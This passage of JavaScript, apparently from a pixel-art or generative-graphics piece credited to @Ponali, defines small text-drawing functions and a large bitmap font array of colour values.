20))*10),1)+text("by @Ponali",0,140,1); return ( txt ? txt : ( k ? (k*y-c+t)*255 : y ) ); function text(txt,ox,oy,al){ ox+=(sw-(txt.length*8))/(2/al); let render = tx((((x-ox)%8)+Math.floor(((txt.charCodeAt((x-ox)/8)-32))*10)),Math.floor(((y-oy)/48)*192)); if(y>oy&&x>ox&&y<((24)+oy)&&x<((8*txt.length)+ox)){ return render; } else {return 0} } function tx(sx,sy){ let data = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,0,0,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,13619151,16777215,13619151,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,13619151,15724527,0,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,0,0,0,0,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,16777215,0,0,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,13619151,12566463,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,0,0,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,0,0,0,0,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,16777215,0,13619151,15724527,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,0,0,0,12566463,12566463,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1677721